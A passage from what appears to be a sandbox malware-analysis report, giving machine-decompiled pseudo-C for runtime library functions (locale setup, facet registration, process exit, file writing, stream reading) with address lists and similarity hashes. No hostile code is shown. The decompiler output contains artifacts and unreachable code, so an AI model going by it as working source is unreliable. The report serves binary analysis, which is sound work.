						_v92 = 0;
						_v88 = 0;
						_v84 = 0;
						_v80 = 0;
						_v76 = 0;
						_v72 = 0;
						_v68 = 0;
						_v64 = 0;
						_v60 = 0;
						_v56 = 0;
						_v16 = 7;
						_t116 = _t92;
						if(_t92 == 0) {
							E00412430("bad locale name");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t96);
							return E00412AA5( &_v104, _v116 & 0x000000ff, _t85 + 8);
						} else {
							E00412760( &_v104,  &_v104, _t92); // executed
							_t93 = _v32;
							 *((intOrPtr*)(_t93 + 4)) = 0;
							 *_t93 = 0x4343e8;
							E00412A3A(_t88, _t93, _t116,  &_v52);
							asm("movups xmm0, [eax]");
							asm("movups [esi+0x8], xmm0");
							 *_t88 = _t93;
							_v16 = 8;
							E004127AB(_t85,  &_v104);
							_t65 = _v60;
							_t110 = _t107 + 0x10;
							if(_v60 != 0) {
								E0041AC1E(_t65);
								_t110 = _t110 + 4;
							}
							_t66 = _v68;
							_v60 = 0;
							if(_v68 != 0) {
								E0041AC1E(_t66);
								_t110 = _t110 + 4;
							}
							_t67 = _v76;
							_v68 = 0;
							if(_v76 != 0) {
								E0041AC1E(_t67);
								_t110 = _t110 + 4;
							}
							_t68 = _v84;
							_v76 = 0;
							if(_v84 != 0) {
								E0041AC1E(_t68);
								_t110 = _t110 + 4;
							}
							_t69 = _v92;
							_v84 = 0;
							if(_v92 != 0) {
								E0041AC1E(_t69);
								_t110 = _t110 + 4;
							}
							_t70 = _v100;
							_v92 = 0;
							if(_v100 != 0) {
								E0041AC1E(_t70);
							}
							_v100 = 0;
							E004124D5( &_v104);
							goto L20;
						}
					}
				}
			}

0x004035c0
0x004035c1
0x004035c9
0x004035d0
0x004035d4
0x004035d6
0x004035d8
0x004035e3
0x004035e4
0x004035e5
0x004035e8
0x004035e9
0x004035ea
0x004035f1
0x004035f5
0x004035fb
0x00403600
0x0040375e
0x00403766
0x00403776
0x00403606
0x00403606
0x00403609
0x00000000
0x0040360f
0x00403611
0x00403616
0x00403619
0x0040361f
0x00403626
0x0040362b
0x00403639
0x0040362d
0x0040362d
0x00403632
0x00403634
0x00403634
0x00403634
0x00403632
0x00403640
0x00403643
0x00403648
0x0040364f
0x00403653
0x0040365a
0x00403660
0x00403667
0x0040366b
0x0040366e
0x00403672
0x00403675
0x00403678
0x0040367b
0x0040367e
0x00403682
0x00403684
0x0040377c
0x00403781
0x00403782
0x00403783
0x00403784
0x00403785
0x00403786
0x00403787
0x00403788
0x00403789
0x0040378a
0x0040378b
0x0040378c
0x0040378d
0x0040378e
0x0040378f
0x00403790
0x004037a5
0x0040368a
0x0040368f
0x00403694
0x0040369b
0x004036a2
0x004036a8
0x004036b0
0x004036b3
0x004036b7
0x004036bc
0x004036c4
0x004036c9
0x004036cc
0x004036d1
0x004036d4
0x004036d9
0x004036d9
0x004036dc
0x004036df
0x004036e8
0x004036eb
0x004036f0
0x004036f0
0x004036f3
0x004036f6
0x004036ff
0x00403702
0x00403707
0x00403707
0x0040370a
0x0040370d
0x00403716
0x00403719
0x0040371e
0x0040371e
0x00403721
0x00403724
0x0040372d
0x00403730
0x00403735
0x00403735
0x00403738
0x0040373b
0x00403744
0x00403747
0x0040374c
0x00403752
0x00403759
0x00000000
0x00403759
0x00403684
0x00403609

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00403643
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0040368F
__Getctype.LIBCPMT ref: 004036A8
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 004036C4
std::_Lockit::~_Lockit.LIBCPMT ref: 00403759

Strings

bad locale name, xrefs: 00403777

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: std::_$Locinfo::_Lockit$GetctypeLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 1840309910-1405518554
Opcode ID: 5983c786910b829a307b3144aa9c46a8f6e2be0f10f8d0e085dda1fe5a4d010f
Instruction ID: 254f5c476f8fbd2f3037df258afc1bf66e45135af037bcfa69ef326ad7ebc691
Opcode Fuzzy Hash: 5983c786910b829a307b3144aa9c46a8f6e2be0f10f8d0e085dda1fe5a4d010f
Instruction Fuzzy Hash: E151BFF1D01248ABDB10DFA5D945BDEBBB8AF14304F14402AE805E7381E779AA58CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00408230 Relevance: 9.2, APIs: 6, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E00408230(void* __ebx, intOrPtr* _a4) {
				char _v8;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr* _v28;
				char _v32;
				void* _v36;
				intOrPtr _v56;
				char _v64;
				char _v68;
				intOrPtr* _v72;
				char _v76;
				void* __edi;
				void* __esi;
				signed int _t48;
				signed int _t49;
				void* _t56;
				signed int _t59;
				intOrPtr* _t68;
				char _t70;
				void* _t71;
				intOrPtr* _t73;
				void* _t77;
				signed int _t82;
				signed int _t83;
				char _t85;
				void* _t86;
				signed int _t88;
				intOrPtr* _t94;
				intOrPtr* _t96;
				signed int _t109;
				void* _t110;
				intOrPtr _t111;
				intOrPtr* _t114;
				intOrPtr* _t115;
				void* _t116;
				signed int _t120;
				void* _t122;
				void* _t123;
				signed int _t124;
				void* _t130;

				_push(0xffffffff);
				_push(0x431b55);
				_push( *[fs:0x0]);
				_t123 = _t122 - 0x18;
				_t48 =  *0x443048; // 0x7239e5fc
				_t49 = _t48 ^ _t120;
				_v20 = _t49;
				_push(__ebx);
				_push(_t49);
				 *[fs:0x0] =  &_v16;
				_t114 = _a4;
				_v28 = _t114;
				E0041247D( &_v32, 0);
				_v8 = 0;
				_t109 =  *0x444328; // 0x1
				_t85 =  *0x444f48; // 0x675800
				_v36 = _t85;
				if(_t109 == 0) {
					E0041247D( &_v24, _t109);
					_t130 =  *0x444328 - _t109; // 0x1
					if(_t130 == 0) {
						_t82 =  *0x444310; // 0x2
						_t83 = _t82 + 1;
						 *0x444310 = _t83;
						 *0x444328 = _t83;
					}
					E004124D5( &_v24);
					_t109 =  *0x444328; // 0x1
				}
				_t104 =  *((intOrPtr*)(_t114 + 4));
				_t88 = _t109 * 4;
				_v24 = _t88;
				if(_t109 >=  *((intOrPtr*)(_t104 + 0xc))) {
					_t115 = 0;
					__eflags = 0;
					_v24 = _t88;
					goto L8;
				} else {
					_t115 =  *((intOrPtr*)(_t88 +  *((intOrPtr*)(_t104 + 8))));
					if(_t115 != 0) {
						L16:
						E004124D5( &_v32);
						 *[fs:0x0] = _v16;
						_pop(_t110);
						_pop(_t116);
						_pop(_t86);
						return E0041361E(_t115, _t86, _v20 ^ _t120, _t104, _t110, _t116);
					} else {
						L8:
						if( *((char*)(_t104 + 0x14)) == 0) {
							L11:
							if(_t115 != 0) {
								goto L16;
							} else {
								goto L12;
							}
						} else {
							_t77 = E0041265A();
							if(_t109 >=  *((intOrPtr*)(_t77 + 0xc))) {
								L12:
								if(_t85 == 0) {
									_push(_v28);
									_t56 = E004035C0(_t85, _t109, _t115,  &_v36); // executed
									_t124 = _t123 + 8;
									__eflags = _t56 - 0xffffffff;
									if(__eflags == 0) {
										E00403390();
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_t59 =  *0x443048; // 0x7239e5fc
										 *[fs:0x0] =  &_v64;
										_t111 = _t104;
										_t94 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t88 + 4)) + _t88 + 0x30)) + 4));
										_v72 = _t94;
										 *((intOrPtr*)( *_t94 + 4))(_t59 ^ _t124, _t109, _t115,  *[fs:0x0], 0x431b8d, 0xffffffff, _t120);
										_v56 = 0;
										_t68 = E00408230(_t85,  &_v76);
										_t70 =  *((intOrPtr*)( *((intOrPtr*)( *_t68 + 0x20))))(0xa);
										_v56 = 0xffffffff;
										_t96 = _v72;
										_v68 = _t70;
										__eflags = _t96;
										if(_t96 != 0) {
											_t73 =  *((intOrPtr*)( *_t96 + 8))();
											__eflags = _t73;
											if(_t73 != 0) {
												 *((intOrPtr*)( *_t73))(1);
											}
										}
										_t71 = E004093C0(_t117, _t111, _v24);
										 *[fs:0x0] = _v20;
										return _t71;
									} else {
										_t115 = _v36;
										_v28 = _t115;
										_v8 = 1;
										E0041262E(__eflags, _t115);
										_t104 =  *_t115;
										 *((intOrPtr*)( *_t115 + 4))();
										 *0x444f48 = _t115;
										goto L16;
									}
								} else {
									_t115 = _t85;
									goto L16;
								}
							} else {
								_t115 =  *((intOrPtr*)(_v24 +  *((intOrPtr*)(_t77 + 8))));
								goto L11;
							}
						}
					}
				}
			}

0x00408233
0x00408235
0x00408240
0x00408241
0x00408244
0x00408249
0x0040824b
0x0040824e
0x00408251
0x00408255
0x0040825b
0x00408263
0x00408266
0x0040826b
0x00408272
0x00408278
0x0040827e
0x00408283
0x00408289
0x0040828e
0x00408294
0x00408296
0x0040829b
0x0040829c
0x004082a1
0x004082a1
0x004082a9
0x004082ae
0x004082ae
0x004082b4
0x004082b7
0x004082be
0x004082c4
0x004082d2
0x004082d2
0x004082d4
0x00000000
0x004082c6
0x004082c9
0x004082ce
0x00408330
0x00408333
0x0040833d
0x00408345
0x00408346
0x00408347
0x00408355
0x004082d0
0x004082d7
0x004082db
0x004082f0
0x004082f2
0x00000000
0x00000000
0x00000000
0x00000000
0x004082dd
0x004082dd
0x004082e5
0x004082f4
0x004082f6
0x004082fc
0x00408303
0x00408308
0x0040830b
0x0040830e
0x00408356
0x0040835b
0x0040835c
0x0040835d
0x0040835e
0x0040835f
0x00408376
0x00408381
0x00408387
0x00408394
0x00408397
0x0040839c
0x004083a2
0x004083aa
0x004083bb
0x004083bd
0x004083c4
0x004083c7
0x004083ca
0x004083cc
0x004083d0
0x004083d3
0x004083d5
0x004083dd
0x004083dd
0x004083d5
0x004083e6
0x004083f1
0x004083fe
0x00408310
0x00408310
0x00408313
0x00408317
0x0040831b
0x00408320
0x00408327
0x0040832a
0x00000000
0x0040832a
0x004082f8
0x004082f8
0x00000000
0x004082f8
0x004082e7
0x004082ed
0x00000000
0x004082ed
0x004082e5
0x004082db
0x004082ce

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00408266
std::_Lockit::_Lockit.LIBCPMT ref: 00408289
std::_Lockit::~_Lockit.LIBCPMT ref: 004082A9
std::_Facet_Register.LIBCPMT ref: 0040831B
std::_Lockit::~_Lockit.LIBCPMT ref: 00408333
Concurrency::cancel_current_task.LIBCPMT ref: 00408356

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 87774a9dc8f573c4a9ef3d66c917a1f1c49bbed0bdb15b10dc3c0ac9c5a7ed92
Instruction ID: 3cf1d87b0c504b2f8fbd786a8a1fe183cf1aacdb51a1657d7749914dfd094a4d
Opcode Fuzzy Hash: 87774a9dc8f573c4a9ef3d66c917a1f1c49bbed0bdb15b10dc3c0ac9c5a7ed92
Instruction Fuzzy Hash: 8751F175A00609DFCB14DF54D941BAEB7B4FB49B24F14027EE805A7391DB38AE00CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041E13D Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0041E13D(int _a4) {
				void* _t8;
				void* _t10;

				if(E0041E1B1(_t8, _t10) != 0) {
					TerminateProcess(GetCurrentProcess(), _a4);
				}
				E0041E1D3(_a4);
				ExitProcess(_a4);
			}

0x0041e149
0x0041e155
0x0041e155
0x0041e15e
0x0041e167

APIs

GetCurrentProcess.KERNEL32(?,?,0041E137,00000016,R~A,?,?,7239E5FC,00417E52,?), ref: 0041E14E
TerminateProcess.KERNEL32(00000000,?,0041E137,00000016,R~A,?,?,7239E5FC,00417E52,?), ref: 0041E155
ExitProcess.KERNEL32 ref: 0041E167

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 9b72ede6432d25bb4d24f71b4815787ee35306501d1cdc9bb18cf0028f81895f
Instruction ID: 1dd8b386890b38f6026e6f10507e5edd72aec68a2099c94f811fe10c957e9bb3
Opcode Fuzzy Hash: 9b72ede6432d25bb4d24f71b4815787ee35306501d1cdc9bb18cf0028f81895f
Instruction Fuzzy Hash: 86D09235000108BBCF052F62DC0D88A3F3AAF44746B045025BD0A4A271CB79DAD29A9C

Uniqueness

Uniqueness Score: -1.00%

Function 0041FED4 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			E0041FED4(void* __eflags) {
				intOrPtr _t14;
				void* _t18;
				void* _t20;
				void* _t22;
				void* _t23;
				void* _t24;

				_push(0x10);
				E00413A0C(0x432763, _t20, _t22, _t23);
				 *((intOrPtr*)(_t24 - 0x18)) = _t24 + 8;
				_t3 = _t24 - 4;
				 *(_t24 - 4) =  *(_t24 - 4) & 0x00000000;
				_t14 = 2;
				 *((intOrPtr*)(_t24 - 0x14)) = _t14;
				 *((intOrPtr*)(_t24 - 0x1c)) = _t14;
				_push(_t24 - 0x14);
				_t9 = _t24 - 0x18; // 0x417e52
				_push(_t24 - 0x1c); // executed
				_t18 = E0041FC2C(_t20, _t22, _t23,  *_t3); // executed
				return E004139F8(_t18);
			}

0x0041fed4
0x0041fedb
0x0041fee3
0x0041fee6
0x0041fee6
0x0041feef
0x0041fef0
0x0041fef3
0x0041fef9
0x0041fefa
0x0041ff01
0x0041ff02
0x0041ff0c

APIs

__EH_prolog3.LIBCMT ref: 0041FEDB

Strings

R~A, xrefs: 0041FEFA, 0041FEFD

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: H_prolog3
String ID: R~A
API String ID: 431132790-538838706
Opcode ID: c0351bc728fc2951599eb490a40f40ad0789eb2aa83378d5b49786f9989f2bed
Instruction ID: 60f39f71362d6db2d0fbe2f1b5bccae53b4163fcf21aacaf0b5322d3ee2134f7
Opcode Fuzzy Hash: c0351bc728fc2951599eb490a40f40ad0789eb2aa83378d5b49786f9989f2bed
Instruction Fuzzy Hash: 1DE07D72C0020D9ADB00DFD5C542BDE7BBCAB04715F504527A505E6141E77857858BD5

Uniqueness

Uniqueness Score: -1.00%

Function 00421755 Relevance: 3.2, APIs: 2, Instructions: 191
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E00421755(signed int _a4, void* _a8, signed int _a12, intOrPtr _a16) {
				void* _v5;
				void* _v12;
				long _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				signed int _v32;
				signed int _v36;
				long _v44;
				char _v48;
				intOrPtr _v52;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t78;
				intOrPtr _t82;
				char _t83;
				signed char _t85;
				signed int _t87;
				signed int _t90;
				signed int _t92;
				signed int _t95;
				signed int _t96;
				signed int _t101;
				signed int _t104;
				signed int _t108;
				intOrPtr _t113;
				signed int _t114;
				intOrPtr _t117;
				signed int _t119;
				struct _OVERLAPPED* _t120;
				signed int _t123;
				signed int _t124;
				signed int _t127;
				struct _OVERLAPPED* _t129;
				void* _t132;

				_t114 = _a12;
				_t78 = _a8;
				_v12 = _t78;
				_v16 = _t114;
				_t113 = _a16;
				_t124 = _a4;
				if(_t114 == 0) {
					L36:
					__eflags = 0;
					return 0;
				}
				if(_t78 != 0) {
					_t127 = _t124 >> 6;
					_t123 = (_t124 & 0x0000003f) * 0x38;
					_v20 = _t127;
					_t82 =  *((intOrPtr*)(0x444b30 + _t127 * 4));
					_v52 = _t82;
					_v24 = _t123;
					_t83 =  *((intOrPtr*)(_t123 + _t82 + 0x29));
					_v5 = _t83;
					__eflags = _t83 - 2;
					if(_t83 == 2) {
						L6:
						_t85 =  !_t114;
						__eflags = _t85 & 0x00000001;
						if((_t85 & 0x00000001) == 0) {
							goto L2;
						}
						L7:
						_t129 = 0;
						__eflags =  *(_t123 + _v52 + 0x28) & 0x00000020;
						if(__eflags != 0) {
							E004254A3(_t124, 0, 0, 2, _t113);
							_t132 = _t132 + 0x14;
						}
						_t90 = E004212A2(_t114, _t123, __eflags, _t124, _t113);
						__eflags = _t90;
						if(_t90 == 0) {
							_t117 =  *((intOrPtr*)(0x444b30 + _v20 * 4));
							_t92 = _v24;
							__eflags =  *((char*)(_t92 + _t117 + 0x28));
							if( *((char*)(_t92 + _t117 + 0x28)) >= 0) {
								asm("stosd");
								asm("stosd");
								asm("stosd");
								_t95 = WriteFile( *(_t92 + _t117 + 0x18), _v12, _v16,  &_v44, _t129); // executed
								__eflags = _t95;
								if(_t95 == 0) {
									_v48 = GetLastError();
								}
								goto L26;
							}
							_t101 = _v5 - _t129;
							__eflags = _t101;
							if(_t101 == 0) {
								E00421320( &_v48, _t124, _v12, _v16);
								L20:
								goto L13;
							}
							_t104 = _t101 - 1;
							__eflags = _t104;
							if(_t104 == 0) {
								_t103 = E004214E4( &_v48, _t124, _v12, _v16);
								goto L20;
							}
							__eflags = _t104 != 1;
							if(_t104 != 1) {
								goto L32;
							}
							_t103 = E004213FB( &_v48, _t124, _v12, _v16);
							goto L20;
						} else {
							_t108 = _v5;
							__eflags = _t108;
							if(_t108 == 0) {
								_t103 = E00420E68( &_v48, _t124, _v12, _v16, _t113);
								L13:
								L26:
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t96 = _v32;
								__eflags = _t96;
								if(_t96 != 0) {
									return _t96 - _v28;
								}
								_t87 = _v36;
								__eflags = _t87;
								if(_t87 == 0) {
									_t129 = 0;
									__eflags = 0;
									L32:
									_t119 = _v24;
									_t87 =  *(0x444b30 + _v20 * 4);
									__eflags =  *(_t119 + _t87 + 0x28) & 0x00000040;
									if(( *(_t119 + _t87 + 0x28) & 0x00000040) == 0) {
										L34:
										 *((char*)(_t113 + 0x1c)) = 1;
										 *((intOrPtr*)(_t113 + 0x18)) = 0x1c;
										 *((char*)(_t113 + 0x24)) = 1;
										 *(_t113 + 0x20) = _t129;
										L3:
										return _t87 | 0xffffffff;
									}
									_t87 = _v12;
									__eflags =  *_t87 - 0x1a;
									if( *_t87 == 0x1a) {
										goto L36;
									}
									goto L34;
								}
								_t120 = 5;
								__eflags = _t87 - _t120;
								if(_t87 != _t120) {
									_t87 = E0041CA1C(_t87, _t113);
								} else {
									 *((char*)(_t113 + 0x1c)) = 1;
									 *((intOrPtr*)(_t113 + 0x18)) = 9;
									 *((char*)(_t113 + 0x24)) = 1;
									 *(_t113 + 0x20) = _t120;
								}
								goto L3;
							}
							__eflags = _t108 - 1 - 1;
							if(_t108 - 1 > 1) {
								goto L32;
							}
							E0042123A( &_v48, _v12, _v16);
							goto L13;
						}
					}
					__eflags = _t83 - 1;
					if(_t83 != 1) {
						goto L7;
					}
					goto L6;
				}
				L2:
				 *((char*)(_t113 + 0x24)) = 1;
				 *(_t113 + 0x20) = 0;
				 *((char*)(_t113 + 0x1c)) = 1;
				 *((intOrPtr*)(_t113 + 0x18)) = 0x16;
				_t87 = E00417FD2(_t124, _t127, 0, 0, 0, 0, 0, _t113);
				goto L3;
			}

0x0042175d
0x00421760
0x00421763
0x00421766
0x0042176a
0x0042176f
0x00421774
0x0042194e
0x0042194e
0x00000000
0x0042194e
0x0042177c
0x004217af
0x004217b2
0x004217b5
0x004217b8
0x004217bf
0x004217c2
0x004217c5
0x004217c9
0x004217cc
0x004217ce
0x004217d4
0x004217d6
0x004217d8
0x004217da
0x00000000
0x00000000
0x004217dc
0x004217df
0x004217e1
0x004217e6
0x004217ee
0x004217f3
0x004217f3
0x004217f8
0x004217ff
0x00421801
0x00421846
0x0042184d
0x00421850
0x00421855
0x004218af
0x004218b1
0x004218b2
0x004218be
0x004218c4
0x004218c6
0x004218ce
0x004218ce
0x00000000
0x004218d1
0x0042185b
0x0042185b
0x0042185d
0x0042189f
0x0042187d
0x00000000
0x0042187d
0x0042185f
0x0042185f
0x00421862
0x0042188d
0x00000000
0x0042188d
0x00421864
0x00421867
0x00000000
0x00000000
0x00421878
0x00000000
0x00421803
0x00421803
0x00421806
0x00421808
0x00421839
0x00421826
0x004218d4
0x004218d7
0x004218d8
0x004218d9
0x004218da
0x004218dd
0x004218df
0x00000000
0x00421949
0x004218e1
0x004218e4
0x004218e6
0x00421914
0x00421914
0x00421916
0x00421919
0x0042191c
0x00421923
0x00421928
0x00421932
0x00421932
0x00421936
0x0042193d
0x00421941
0x004217a0
0x00000000
0x004217a0
0x0042192a
0x0042192d
0x00421930
0x00000000
0x00000000
0x00000000
0x00421930
0x004218ea
0x004218eb
0x004218ed
0x00421908
0x004218ef
0x004218ef
0x004218f3
0x004218fa
0x004218fe
0x004218fe
0x00000000
0x004218ed
0x0042180c
0x0042180e
0x00000000
0x00000000
0x0042181e
0x00000000
0x00421823
0x00421801
0x004217d0
0x004217d2
0x00000000
0x00000000
0x00000000
0x004217d2
0x0042177e
0x00421780
0x00421788
0x0042178c
0x00421791
0x00421798
0x00000000

APIs

Part of subcall function 00420E68: GetConsoleOutputCP.KERNEL32(7239E5FC,00000000,00000000,00000000), ref: 00420ECB

WriteFile.KERNELBASE(?,00000000,?,00441FD0,00000000,0000000C,00000000,00000000,?,00000000,00441FD0,00000010,0041A902,00000000,00000000,00000000), ref: 004218BE
GetLastError.KERNEL32(?,00000000), ref: 004218C8

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: ab1c2bd6591ddf14b83c66c1379ddd2b9e81412aeff914078a17c4daf9677959
Instruction ID: 8b962300b63b15e36b69ed4417ac3f0d6651065ecfc2e4b6ffd6c8d1f07ee155
Opcode Fuzzy Hash: ab1c2bd6591ddf14b83c66c1379ddd2b9e81412aeff914078a17c4daf9677959
Instruction Fuzzy Hash: 7F61F9B1E00169AFDF11DFA9D884AEF7BB8AF59318F540057E800E7262D339D941CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00404FE0 Relevance: 3.2, APIs: 2, Instructions: 171
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E00404FE0(intOrPtr* __ecx, char* _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				char* _v16;
				intOrPtr _t45;
				intOrPtr _t48;
				void* _t51;
				intOrPtr _t56;
				intOrPtr* _t59;
				intOrPtr _t61;
				char _t63;
				intOrPtr _t65;
				intOrPtr _t70;
				intOrPtr* _t73;
				intOrPtr _t78;
				intOrPtr _t80;
				intOrPtr _t85;
				intOrPtr _t86;
				intOrPtr _t88;
				intOrPtr _t89;
				intOrPtr _t92;
				char* _t96;
				intOrPtr _t97;
				intOrPtr _t99;
				intOrPtr* _t105;
				intOrPtr _t107;
				void* _t109;
				intOrPtr _t110;
				signed int _t113;
				void* _t115;
				intOrPtr _t117;

				_t115 = (_t113 & 0xfffffff8) - 0xc;
				_t45 = _a12;
				_t73 = __ecx;
				_t78 = _a8;
				_t96 = _a4;
				_v16 = _t96;
				_t117 = _t45;
				if(_t117 > 0 || _t117 >= 0 && _t78 != 0) {
					__eflags =  *((intOrPtr*)(_t73 + 0x38));
					if( *((intOrPtr*)(_t73 + 0x38)) == 0) {
						_t105 = _t73 + 0x2c;
						_t97 = _t78;
						_t89 =  *((intOrPtr*)( *((intOrPtr*)(_t73 + 0x1c))));
						__eflags = _t89;
						if(_t89 != 0) {
							_t56 =  *((intOrPtr*)( *_t105));
							__eflags = _t56;
							if(_t56 != 0) {
								_t99 = _v16;
								__eflags = _t56 - _t78;
								_t109 =  <  ? _t56 : _t78;
								E00414BF0(_t99, _t89, _t109);
								_v16 = _t99 + _t109;
								_t115 = _t115 + 0xc;
								_t97 = _a8 - _t109;
								 *((intOrPtr*)( *((intOrPtr*)(_t73 + 0x2c)))) =  *((intOrPtr*)( *((intOrPtr*)(_t73 + 0x2c)))) - _t109;
								_t59 =  *((intOrPtr*)(_t73 + 0x1c));
								 *_t59 =  *_t59 + _t109;
								__eflags =  *_t59;
								_t105 = _t73 + 0x2c;
							}
						}
						__eflags =  *((intOrPtr*)(_t73 + 0x4c));
						if( *((intOrPtr*)(_t73 + 0x4c)) != 0) {
							__eflags =  *((intOrPtr*)( *((intOrPtr*)(_t73 + 0xc)))) - _t73 + 0x3c;
							if( *((intOrPtr*)( *((intOrPtr*)(_t73 + 0xc)))) == _t73 + 0x3c) {
								_t80 =  *((intOrPtr*)(_t73 + 0x50));
								_t92 =  *((intOrPtr*)(_t73 + 0x54)) - _t80;
								__eflags = _t92;
								 *((intOrPtr*)( *((intOrPtr*)(_t73 + 0xc)))) = _t80;
								 *((intOrPtr*)( *((intOrPtr*)(_t73 + 0x1c)))) = _t80;
								 *((intOrPtr*)( *_t105)) = _t92;
							}
							_t107 = _v16;
							__eflags = _t97 - 0xfff;
							if(_t97 <= 0xfff) {
								L30:
								__eflags = _t97;
								if(_t97 != 0) {
									_t97 = _t97 - E0041B9E6(_t107, 1, _t97,  *((intOrPtr*)(_t73 + 0x4c)));
									__eflags = _t97;
								}
							} else {
								while(1) {
									_t51 = E0041B9E6(_t107, 1, 0xfff,  *((intOrPtr*)(_t73 + 0x4c))); // executed
									_t115 = _t115 + 0x10;
									_t107 = _t107 + _t51;
									_t97 = _t97 - _t51;
									__eflags = _t51 - 0xfff;
									if(_t51 != 0xfff) {
										goto L32;
									}
									__eflags = _t97 - _t51;
									if(_t97 > _t51) {
										continue;
									} else {
										goto L30;
									}
									goto L32;
								}
							}
						}
						L32:
						_t48 = _a8 - _t97;
						__eflags = _t48;
						asm("sbb edx, 0x0");
						return _t48;
					} else {
						_v12 = _t78;
						_v16 = _t45;
						goto L6;
						do {
							do {
								L6:
								_t110 = E004071B0(_t73);
								_t61 = _t88;
								_v8 = _t61;
								__eflags = _t61;
								if(__eflags < 0) {
									L14:
									_t63 =  *((intOrPtr*)( *_t73 + 0x1c))();
									_t88 = _v16;
									__eflags = _t63 - 0xffffffff;
									if(_t63 != 0xffffffff) {
										_t110 = 1;
										_t85 = _v12 + 0xffffffff;
										 *_t96 = _t63;
										asm("adc edx, 0xffffffff");
										goto L16;
									}
								} else {
									if(__eflags > 0) {
										L9:
										_t86 = _v16;
										__eflags = _t86 - _t61;
										if(__eflags <= 0) {
											_t70 = _v12;
											if(__eflags < 0) {
												L12:
												_t110 = _t70;
												_v8 = _t86;
											} else {
												__eflags = _t70 - _t110;
												if(_t70 < _t110) {
													goto L12;
												}
											}
										}
										E00414BF0(_t96,  *((intOrPtr*)( *((intOrPtr*)(_t73 + 0x1c)))), _t110);
										_t115 = _t115 + 0xc;
										_t88 = _v16;
										_t85 = _v12 - _t110;
										asm("sbb edx, [esp+0x14]");
										 *((intOrPtr*)( *((intOrPtr*)(_t73 + 0x2c)))) =  *((intOrPtr*)( *((intOrPtr*)(_t73 + 0x2c)))) - _t110;
										 *((intOrPtr*)( *((intOrPtr*)(_t73 + 0x1c)))) =  *((intOrPtr*)( *((intOrPtr*)(_t73 + 0x1c)))) + _t110;
										goto L16;
									} else {
										__eflags = _t110;
										if(_t110 == 0) {
											goto L14;
										} else {
											goto L9;
										}
									}
								}
								goto L19;
								L16:
								_t96 = _t96 + _t110;
								_v16 = _t88;
								_v12 = _t85;
								__eflags = _t88;
							} while (__eflags > 0);
							if(__eflags >= 0) {
								goto L18;
							}
							break;
							L18:
							__eflags = _t85;
						} while (_t85 != 0);
						L19:
						_t65 = _a8 - _v12;
						__eflags = _t65;
						asm("sbb ecx, edx");
						return _t65;
					}
				} else {
					return 0;
				}
			}

0x00404fe6
0x00404fe9
0x00404fed
0x00404fef
0x00404ff4
0x00404ff7
0x00404ffb
0x00404ffd
0x00405012
0x00405016
0x004050d5
0x004050d8
0x004050da
0x004050dc
0x004050de
0x004050e2
0x004050e4
0x004050e6
0x004050e8
0x004050ec
0x004050f0
0x004050f6
0x00405100
0x00405104
0x0040510a
0x0040510c
0x0040510e
0x00405111
0x00405111
0x00405113
0x00405113
0x004050e6
0x00405116
0x0040511a
0x00405122
0x00405124
0x0040512c
0x0040512f
0x0040512f
0x00405131
0x00405136
0x0040513a
0x0040513a
0x0040513c
0x00405140
0x00405146
0x00405172
0x00405172
0x00405174
0x00405185
0x00405185
0x00405185
0x00000000
0x00405150
0x0040515b
0x00405160
0x00405163
0x00405165
0x00405167
0x0040516c
0x00000000
0x00000000
0x0040516e
